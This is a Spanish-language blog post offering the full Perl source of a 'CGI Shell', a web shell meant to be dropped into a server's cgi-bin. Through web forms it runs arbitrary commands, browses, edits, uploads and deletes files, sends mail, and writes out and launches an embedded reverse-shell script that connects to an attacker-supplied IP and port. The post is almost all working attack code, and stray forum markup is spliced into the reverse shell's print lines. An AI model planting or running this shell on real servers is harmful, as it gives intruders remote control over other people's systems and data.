[Perl] CGI Shell

Hola a todos

Hoy eh terminado de hacer un shell en cgi , estas shells se usan en las paginas que pemiten ejecutar archivos cgi y tienen el directorio cgi-bin

Esta shell tiene las sig opciones

* Listar directorios
* Ver y editar archivos
* Eliminar archivos y directorios
* ReverseShell
* Subir archivos a un directorio especificado
* Ejecutar comandos
* Enviar mails


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
#!"\xampp\perl\bin\perl.exe"
#
#CGI Shell 0.1
#
#(C) Doddy Hackman 2011
#
#
 
use CGI;
use Cwd;
use HTML::Entities;
use Net::SMTP;
 
my %rta;
 
my $que = new CGI;
my @ques = $que->param;
 
for(@ques) {
$rta{$_} = $que->param($_);
}
 
 
print "Content-type:text/html\n\n";
print "
 
<style type=text/css>
 
 
.main {
margin         : -287px 0px 0px -490px;
border         : White solid 1px;
BORDER-COLOR: #00FF00;
}
 
 
#pie {
position: absolute;
bottom: 0;
}
 
body,a:link {
background-color: #000000;
color:#00FF00;
Courier New;
cursor:crosshair;
font-size: small;
}
 
input,table.outset,table.bord,table,textarea,select {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#00FF00; 
border: solid 1px #00FF00;
border-color:#00FF00
}
 
a:link,a:visited,a:active {
color: #00FF00;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}
 
</style>
 
<title>CGI Shell (C) Doddy Hackman 2011</title>
<h2><center>CGI Shell</center></h2>
 
";
 
if ($rta{'filex'}) {
 
open FILE ,">>".$rta{'todir'}."/".$rta{'filex'}; 
while($bytes = read($rta{'filex'},$todo, 1024)) {
print FILE $todo;
}
close FILE;
 
print "<script>alert('File Uploaded');</script>";
 
}
 
if ($rta{'codefile'}) {
 
unlink($rta{'filecode'});
 
open (FILE,">>".$rta{'filecode'});
print FILE $rta{'codefile'}."\n";
close FILE;
 
print "<script>alert('File Changed');</script>";
 
}
 
if ($rta{'loadfile'}) {
print "<form action='' method=POST>";
print "<br><h2><center>File ".$rta{'loadfile'}."</h2></center><br><br>";
 
if (-f $rta{'loadfile'}) {
 
print "<center><textarea name=codefile cols=70 rows=70>";
 
open (FILE,$rta{'loadfile'});
@words = <FILE>;
close FILE;
 
for (@words) {
print HTML::Entities::encode($_);
}
print "
</textarea></center>
<input type=hidden name=filecode value=".$rta{'loadfile'}.">
<br><br><center><input type=submit value=Save></center><br><br>
</form>
";
 
exit(1);
}
}
 
print "
<br><br>
<b>Console</b>
<br><br>
<fieldset>";
 
 
if ($rta{'cmd'}) {
print qx($rta{'cmd'});
}
 
elsif ($rta{'mail'}) {
 
my $send = Net::SMTP->new("localhost",Hello => "localhost",Timeout=>10) or die("[-] Error");
$send->mail($rta{'mail'});
$send->to($rta{'to'});   
$send->data(); 
$send->datasend("To:".$rta{'to'}."\n"."From:".$rta{'mail'}."\n"."Subject:".$rta{'subject'}."\n".$rta{'body'}."\n\n"); 
$send->dataend(); 
$send->quit();
 
}
 
 
elsif ($rta{'loadir'}) {
 
if (-d $rta{'loadir'}) {
 
opendir DIR,$rta{'loadir'};
my @archivos = readdir DIR;
close DIR;
 
for(@archivos) {
if (-d $_) {
print "<b>".$_."</b><br>";    
} else {
print $_."<br>";
}}}}
 
elsif (-f $rta{'delfile'}) {
if (unlink($rta{'delfile'})) {
print "<script>alert('File Deleted');</script>";
} else {
print "<script>alert('Error');</script>";
}
}
 
elsif (-d $rta{'deldir'}) {
if (rmdir($rta{'deldir'})) {
print "<script>alert('Directory Deleted');</script>";
} else {
print "<script>alert('Error');</script>";
}
}
 
elsif ($rta{'ipconnect'}) {
 
$code = '
#!usr/bin/perl
#Reverse Shell 0.1
#By Doddy H
 
use IO::Socket;
 
print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
 
unless (@ARGV == 2) { 
print "[Sintax] : $0 <host> <port>\n\n";
exit(1);
} else {
print "<ul class="bbc_list"><li type="square"> Starting the connection\n";[/li][/list]
print "</li><li type="square"> Enter in the system\n";[/li][/list]
print "</li><li type="square"> Enjoy !!!\n\n";[/li][/list]
conectar($ARGV[0],$ARGV[1]);
tipo();
}
 
sub conectar {
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}
 
sub tipo {
print "\n</li><li type="disc"> Reverse Shell Starting...\n\n";[/li][/list]
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
#root();  
system("export TERM=xterm;exec sh -i");
}
}
 
sub infowin {
print "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
print "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
print "</li><li type="square"> Username : ".Win32::LoginName()."\n\n\n";[/li][/list]
}
 
sub infolinux {
print "</li><li type="square"> System information\n\n";[/li][/list]
system("uname -a");
print "\n\n";
}
 
#The End
';
 
if ($^O =~/Win32/ig) { 
open (FILE,">>"."back.pl");
chmod("back.pl","777");
} else {
open (FILE,">>"."/tmp/back.pl");
chmod("/tmp/back.pl","777");
}
 
print FILE $code;
close FILE;
 
if ($^O == "MSWin32") { 
system("back.pl ".$rta{'ipconnect'}." ".$rta{'port'});
} else {
system("cd /tmp;back.pl ".$rta{'ipconnect'}." ".$rta{'port'});
}
} else {
 
opendir DIR,getcwd();
my @archivos = readdir DIR;
close DIR;
 
for(@archivos) {
if (-d $_) {
print "<b>".$_."</b><br>";    
} else {
print $_."<br>";
}}
 
}
 
print "</fieldset>
<br><br>
<form action='' method=GET>
<b>Command</b> : <input type=text name=cmd size=100 value=ver><input type=submit value=Send><br>
</form>
<form action='' method=GET>
<B>Load directory</B> : <input type=text size=100 name=loadir value=".getcwd()."><input type=submit value=Load>
</form>
<form action='' method=GET>
<b>Load File</b> : <input type=text size=100 name=loadfile value=".getcwd()."><input type=submit value=Load>
</form>
<form action='' method=GET>
<b>Delete File</b> : <input type=text size=100 name=delfile value=".getcwd()."><input type=submit value=Del>
</form>
<form action='' method=GET>
<b>Delete Directory</b> : <input type=text size=100 name=deldir><input type=submit value=Del>
</form>
<form enctype='multipart/form-data' method=POST>
<br><b>Upload File</b> : <input type=file name=filex><br><br>
<b>To dir</b> : <input type=text name=todir value=".getcwd()."><br><br>
<input type=submit value=Upload>
</form>
<br><B>Mailer</b><br><br>
<form action='' method=GET>
<b>Mail</b> : <input type=text name=mail><br>
<b>To</b> : <input type=text name=to><br>
<b>Subject</B> : <input type=text name=subject><br>
<B>Body</B> : <input type=text name=body><br><br>
<input type=submit value=Send>
</form>
<br><br><b>ReverseShell</b><br><br>
<form action='' method=GET>
<b>IP</B> : <input type=text name=ipconnect><br>
<b>Port</B> : <input type=text name=port><br>
<br><input type=submit value=Connect></form><br><br>
 
";
 
 
# ¿ The End ?
 

0 comentarios: sobre [Perl] CGI Shell

Publicar un comentario para [Perl] CGI Shell

:a   :b   :c   :d   :e   :f   :g   :h   :i   :j   :k   :l   :m   :n   :o   :p   :q   :r   :s   :t

Calculando Tiempo
Alienspace Theme © Copyright 2017 By Proxor
Mi Ping en TotalPing.com FeedBurner FeedBurner FeedBurner FeedBurner FeedBurner